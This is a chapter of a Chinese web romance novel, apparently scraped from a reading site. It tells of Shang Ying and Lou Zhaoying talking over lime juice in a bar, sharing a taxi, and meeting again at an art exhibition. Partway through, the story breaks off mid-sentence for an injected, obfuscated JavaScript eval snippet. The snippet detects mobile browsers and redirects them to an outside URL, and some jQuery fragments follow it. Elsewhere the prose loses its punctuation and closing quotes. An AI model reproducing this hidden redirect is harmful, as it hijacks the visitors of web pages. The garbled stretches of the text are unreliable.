第110章

作品:《占为己有

    重逢到现在,这还是商楹第一次正面唤出楼照影的名字,不是疏离的楼小姐,也不是向旁人客套的介绍。


    但在名字之前,还横着三个听着平和却分外沉重的“为什么”。


    晚风撩过她们的发丝,楼照影提着购物袋的指节悄然蜷紧了些。


    她望着商楹清润如水的眼眸,唇瓣翕动了几下,才挤出暗哑的回答:“这次感冒是因为做噩梦出了冷汗,低血糖是因为经常熬夜、昼夜颠倒。”


    她顿了顿,才说出后半段话:“好好生活……我努力过了。”


    在收到商璇那封定时信笺之前,她的确竭尽心力。


    她担下一个集团继承人该有的责任,她努力让自己忙于工作不再沉于悲伤裏,她尽量让自己做到好好生活。


    直到知道商楹喜欢的人是她。


    听着这个回答,商楹有些不解,忍不住追问:“那为什么没有一直努力下去呢?”


    她问完便看见楼照影的眼眶倏然泛红,隐隐的泪光在路灯下晶莹,她连忙放缓了语气,低声致歉:“抱歉,我刚刚的语气有点重了。”


    “不会。”楼照影说话间又漫上一层浓重的鼻音,“能听见你的声音就很好。”


    又担心这句话带给商楹压力,眼睫扇动间,补了一句:“我的意思是……看见你现在的生活,为你感到高兴。”


    五年前的商楹一直到离开之前都不曾承认对她的感情,现如今的商楹活得舒服、恣意,她不清楚商楹的想法,她只清楚她不能像从前那样冒进、贸然、不管不顾。


    她作为一个带给商楹伤害的人,不该去惊扰商楹的安稳。


    而这话落下过后,两人之间再次陷入沉默,但几个醉醺醺的人影摇摇晃晃地就要从她们这边经过,商楹没有多想,下意识拉过楼照影纤细的手腕,将人往自己身侧带了带,避开那些酒气:“小心。”


    看着那几道踉跄的人影远去,她才后知后觉想起来松开手。


    指尖似乎还残留着楼照影腕间的温度,她转头看向在一旁的人,试探性地问:“要换个地方吗?”


    人行道人流有些熙攘,四面八方是各种各样的声音,实在不是聊事的好地方。


    腕间的力度撤去,楼照影回视着她,颔首应道:“好。”


    半小时后,商楹带着楼照影来到了一处在巷尾的清吧。


    两人推门而入,隔绝了门外的嘈


    杂,而门内溢着淡淡的木调香气。


    这家清吧的装修复古,偏暖的光线下照着墙上挂着老唱片的封面,吧臺和卡座错落分布,生意不算火爆,今晚坐了半数客人。


    店裏只流淌舒缓的纯音乐,没有驻唱歌手的搅扰,恰好是适合聊天的清净去处。


    踩上楼梯,来到二楼,商楹在熟悉的卡座坐下,扫过桌上的码。


    她为自己点了一杯果汁,随即把手机推到楼照影面前,温和开口:“是寻姐安利给我的一家店铺,你感冒才好,不要喝酒。”说着觉得自己管太多,“你想喝也行,这是你的……”


    “自由”两个字都没来得及从喉间滚出,楼照影已经指尖轻点,给自己添了一杯一模一样的果汁。


    她抬眸看向在对面的商楹,把手机推回去,浅声道:“嗯,我不喝。”


    商楹不再纠结:“好的。”


    从提交订单到上果汁,前后不过两分钟时间,侍者将饮品轻轻搁在桌上,便端着空托盘下了楼。


    待侍者下楼梯的脚步声隐没,商楹端过面前的玻璃杯,是常温的果汁,杯口斜挂着青柠片与薄荷叶。


    邻座的聊天声断断续续传入飘过来,她轻声开口,率先打破她们之间的沉静:“是鲜榨的青柠汁,或许会有点酸。”


    “没关系。”


    楼照影说完,含住吸管抿了一口。


    哪怕做了心理准备,但青柠的酸意依旧猝不及防地在口腔裏散开,她下意识地眯了眯眼睛。


    再次掀起眼皮,刚好撞进商楹觉得好笑的眼神裏,舌尖的这点酸意顿时转甜,她松开唇,对商楹道:“挺甜的。”


    商楹的手肘撑在桌面上,她托着腮,轻轻点头:“那就行。”


    “这五年,你经常来这裏吗?”楼照影的长睫扇动,她没有会错商楹带她来这裏的意图的话,今晚是要聊点重逢以后都没有提及的过往了。


    商楹的掌心贴着脸颊,目光落在杯口的薄荷叶上,缓缓回答:“不是这五年,我两年前才来的海城,偶尔会来这裏坐会儿,不是很经常。”


    说完,她又把视线落在对面的人身上,主动问起来:“画画是你喜欢的事情吗?”


    “是。”


    和商楹的姿态不同,楼照影的双肘都在桌面上支着,双手也都轻覆在自己的脸上。


    她望着商楹的眼睛,很肯定地强调了一遍:“画画的时候很轻松。”


    商楹一语中的:“但这不


    是你经常熬夜、昼夜颠倒的理由。”


    这话落入耳裏楼照影缄默片刻还是垂下眼睑她看着青柠片避开商楹的视线。


    不知道怎么回应。


    “楼照影。”


    “嗯?”


    商楹的左手摩挲着杯壁她就着头顶垂坠的暖光看着楼照影的脸温柔了些:“我还是需要说明一下小璇的离开跟你没有关系你不要把这件事的责任揽在你自己身上好吗?”


    她想这大抵就是楼照影这几年无法释怀、没有好好生活的根源。


    只不过隔了这么久再在楼照影的面前提起“小璇”两个字她的鼻尖还是禁不住有些泛酸她低头含住吸管啜了口果汁浓烈的酸意蔓延她把眼底的那股泪意悄无声息地逼了回去。


    也是这会儿她听见楼照影回问她:“那你呢?”


    “我什么?”


    “你过得好吗?”有没有做到商璇所说的那样不要把一切都怪罪到自己身上。


    商楹迎上她关心的视线迟疑了好几秒才启唇:“挺好的公司开的福利待遇很好同事们也好相处。”


    她浅浅呼出一口气:“只是有时候会不可避免地想起她。”


    “再次为你感到高兴。”


    “谢谢。”


    但下一秒商楹重新扫码她有些无奈地说:“我还是点杯酒吧。”


    楼照影没有阻拦:“好。”


    这个话题显然还是过于沉重往后的时间两人重新掉进沉默裏。


    空间裏的低语隐隐约约杯裏的果汁和酒液逐渐见底。


    但商楹不止喝了一杯等到第二杯酒喝完


    她看着楼照影问起来:“你怎么回去?”


    楼照影坦诚地道:“我先送你回去。”她的双手落在膝上指节收紧了些征询着“可以吗?”


    商楹喝的这两杯酒度数都不算低而她对商楹的酒量还停留在五年前。


    想到楼照影已经有了自己的手机号、微信还知道自己的工作地址再望着楼照影小心的眼神……


    商楹到了嘴边的拒绝还是卡了回去改口:“到小区门口就好。”


    不过两杯鸡尾酒下来商楹确实生了一些醉意只是还没到妨碍她意识的程度。


    下楼的时候楼照影在前她还提着印有“LANLING”的购物袋。


    担心商楹失去重


    心摔倒,她刻意放慢脚步,脊背有些绷着,注意力全在身后之人的身上。


    暖光落在她们再次交迭的影子上,被臺阶切成一段一段,稳稳地来到一楼,商楹前往吧臺结账。


    工作人员抬眼看见她,立刻露出熟络的笑:“阿楹,今晚来之前怎么也不跟我们说声,我好给你送些果切。”


    “临时决定来的。”商楹也跟着笑,“小北,还是从我的会员账户裏扣吧。”


    “好嘞!”


    小北操纵着结账臺,看见在商楹身侧站着的新面孔,笑着搭话:“女士是第一次来我们店裏吗?请问体验如何?”


    楼照影礼貌点头:“还不错。”


    “青柠汁会不会太酸?”


    “不会。”


    “欢迎下次再来。”


    等她们从清吧推门出来时,料峭晚风正顺着巷子穿堂而过,带着几分侵人的寒意,撩动她们的衣摆和长发。


    酒意有些漫上来,路灯之下,商楹的脚步有些发虚,堪堪能走直线。


    楼照影在一旁看着她的侧脸,很笃定的口吻:“你不是偶尔来。”


    能在这裏开会员卡、又跟工作人员相熟到叫非正式称呼,怎么也不像是偶尔的样子。


    “我说是偶尔,那就是偶尔。”商楹撩了撩自己被吹得有些乱的头发,皱眉反驳。


    说话时音调有些上扬,没有平时那么沉稳。


    望着她这副模样,楼照影唇边抹开了一点笑意:“嗯,你说了算。”


    又轻声问起来:“那……下次也可以叫上我吗?”她给出自己的理由,“很清静,青柠汁也好喝,我喜欢这裏。”


    “再说吧。”商楹没有同意也没有拒绝。


    “好。”


    巷子不长,很快就走到路边。


    马路上车流穿梭,车辆的光柱在她们身上一束束扫过。


    楼照影拦了一辆出租车,待车停稳,她拉开后座车门,先让商楹入座,自己才跟着弯腰,跟着坐进车厢。


    购物袋放在一侧,她听见商楹报着小区地址:“师傅,光曜公馆。”


    商楹说完,合上眼,脑袋往后仰。


    但这样靠着怎么都不算舒服,窗外的光影在她蹙起的眉头跃动。


    楼照影睨着她,喉头紧张地动了下,终究还是单手撑在一侧,凑近轻声问:“商楹,要在我身上靠一会儿吗?”


    问完,她看见商楹睫毛颤了两下,随即睁开眼,眼底浸着酒意,眸光潋滟地望着她。


    楼照影的呼吸都倏然窒住,她反应过来自己现在的身份,也默认了商楹的拒绝。


    正要往后退恢复到原来的距离,商楹的脑袋却轻轻朝着她的肩头侧了过来,甚至还极自然地调整了一下姿势,将温热的额头抵在她的肩上。


    “谢谢。她听见商楹客气地说。


    楼照影脑袋微侧,鼻尖萦绕着一缕陌生的发香。


    她很想像过去一样用自己的下巴在商楹的脑袋上轻蹭,但理智只能让她硬生生地克制住这份冲动。


    她只能略微僵着身体,唇角弧度柔软地回应:“不客气。


    这家清吧和光曜公馆相距不远,六公裏左右。


    晚间的车流较为稀疏,街灯一盏一盏往后**,光线掠过静悄悄的车厢,照着她们似是固定住的姿势。


    十多分钟后,出租车在小区广场外的路边停好。


    楼照影结过车费,打


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179795|187284||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开车门拎着袋子先一步下车,待商楹也在地面上站稳,她合上车门。


    她先扫了眼大门烫金的小区名字,确认是哪四个字后,主动把袋子递给商楹:“回去好好休息。


    “好。商楹提过袋子,看着她,口齿清晰地道,“你到家了给我发个消息吧。


    晚上跟糯糯分开时,楼照影也从商楹嘴裏听见过这样的叮嘱。


    相关回忆钻进脑海,她的面容不免含笑:“嗯,我记得这个基本的社交礼仪。


    “走了。商楹不再多说,背对着她挥了挥手。


    楼照影立在原地,见着商楹的身影稳当地一点点融进小区,直到彻底看不见,她才撤回视线,再次拦过一辆出租车。


    没过多久,商楹踩着夜色回到住处。


    换完鞋洗好手,她先去主卧换上宽松的家居服,又从柜子裏取了三瓶酒出来。


    在茶几上摆好平板,她在软毯上坐下,就着医学翻译的学习视频,一边喝酒一边看视频,同时等待着楼照影的消息。


    专业术语随着字母一行行滚动,杯子裏的酒液空了又满上,但有那两杯高度数鸡尾酒打底,此刻再喝家裏的果酒,像是触发了延迟的晕眩开关。


    后劲慢慢攀上来,顺着喉咙滑进四肢百骸,视线渐渐有些发飘,屏幕上的单词开始晃动,就连听见的声音也有些模糊。


    三瓶酒下肚,她整个人像是被托在朦胧的混沌裏,一如这五年来不知道多少个夜晚。


    这时,手机屏幕亮起,莹白的光在昏


    沉客厅映出一小片亮斑。


    眼前的光影打着旋儿,她抬手揉揉发烫的眼角,指尖还带着酒液的凉意,才勉强看清屏幕跳动的微信提示。


    她重重地在屏幕上划了几下,看见对方发来的消息。


    【商楹,我还是想问问你,你明天有空吗?】


    【有空的话,我们上午十一点可以去看画展吗?】


    “画展两个关键字在她的意识裏撞了撞,酒意翻滚的脑袋裏,清晰浮现出楼照影的模样。


    念着和楼照影的看展约定,她撑着眼皮,困倦地回了个:【好。】


    回完消息,她把手机丢在沙发上,平板也扣上。


    她扶着沙发站起身,勉强稳住重心,而后一步一顿地朝着洗漱臺挪去。


    -


    海城这场大型画展的主题叫“目之所及,展览荟聚数位风格迥异的画家,作品从写实到抽象,从市井烟火到山海辽阔,包罗万象,没有既定的解读框架,只有符合主题的感知与共鸣,把一切都交给驻足画前的人。


    画展的宣发也很到位,线上在社交平臺到处推流,线下在许多城市角落都能看见海报。


    而周日就是这场“目之所及画展对外开放的第一天。


    楼照影是受邀参展的画家之一,昨天睡前展厅工作人员联系到她,告诉她临时调整了她的展区的射灯角度,怕光影效果会影响画作呈现,劳烦她今日务必抽空来展厅一趟,亲自确认一番,若有不满意再作调整。


    这场画展预热许久,工作人员费了不少心思,会有调整很正常。


    秉着对观众的尊重,楼照影答应下来:“好的,没问题,我大概在十点半去一趟。


    翌日上午,楼照影开着程季言的车到达展馆,本次画展规模大型,占了展馆三层楼,今天又是休息日,广场上陆陆续续来了不少人,人影裏有人举着相机调试角度,也有人和同伴翻着宣传册讨论。


    她的展厅在一楼西侧,她走过去时,负责的工作人员正守在她的展区旁,见到她,便笑着迎上来:“Ying老师,您看看。


    光线少了些锐利感,变得柔和且绵长,像一层薄纱覆盖在每一张画布上,比调整前的效果好上不少。


    楼照影看着呈现的效果,微笑颔首:“没有问题,辛苦你们了。


    “麻烦您跑一趟了。


    “不会。


    和工作人员浅浅客套几句,对方便转身去忙别的了。


    楼照影独自站在这片被柔光笼罩的展区身后不时有观众慢慢从她身后路过也有观众驻足欣赏她的画作还有观众站在她的介绍牌前逐字逐句看完对她的介绍。


    她静静地凝了会儿自己的这些画作随后从包裏取出手机。


    目光垂落她点开微信置顶


    她提笔学画画的初衷就是为了画商楹之前她顶着集团继承人的光环画画是她闲暇时的消遣如今她是一名画家自然是希望商楹可以来看自己的画作的但目前她只能静等商楹的通知。


    好在这场展览的展期足足有一个月从2.20日绵延到3.20日。


    只要商楹愿意她随时有空带商楹逛展或者抛开画展去做任何商楹想做的事情都可以。


    于她而言最重要的本就是商楹。


    更何况现在这样已经比这过去的五年好上不少。


    这个念头刚在脑海裏滑过她的唇角不自觉翘了翘。


    等她缓缓撩起眼皮想再看看展区笑意却倏而凝住——


    拐角处商楹的身影赫然映入眼帘。


    在她的身边还有另一个女人。


    作者有话说:


    嘿嘿


    我们酸甜口就是这样的


    今晚也要留言!!!


    懂我的四万评论暗示吗(实则明示)


    最近更新量真多啊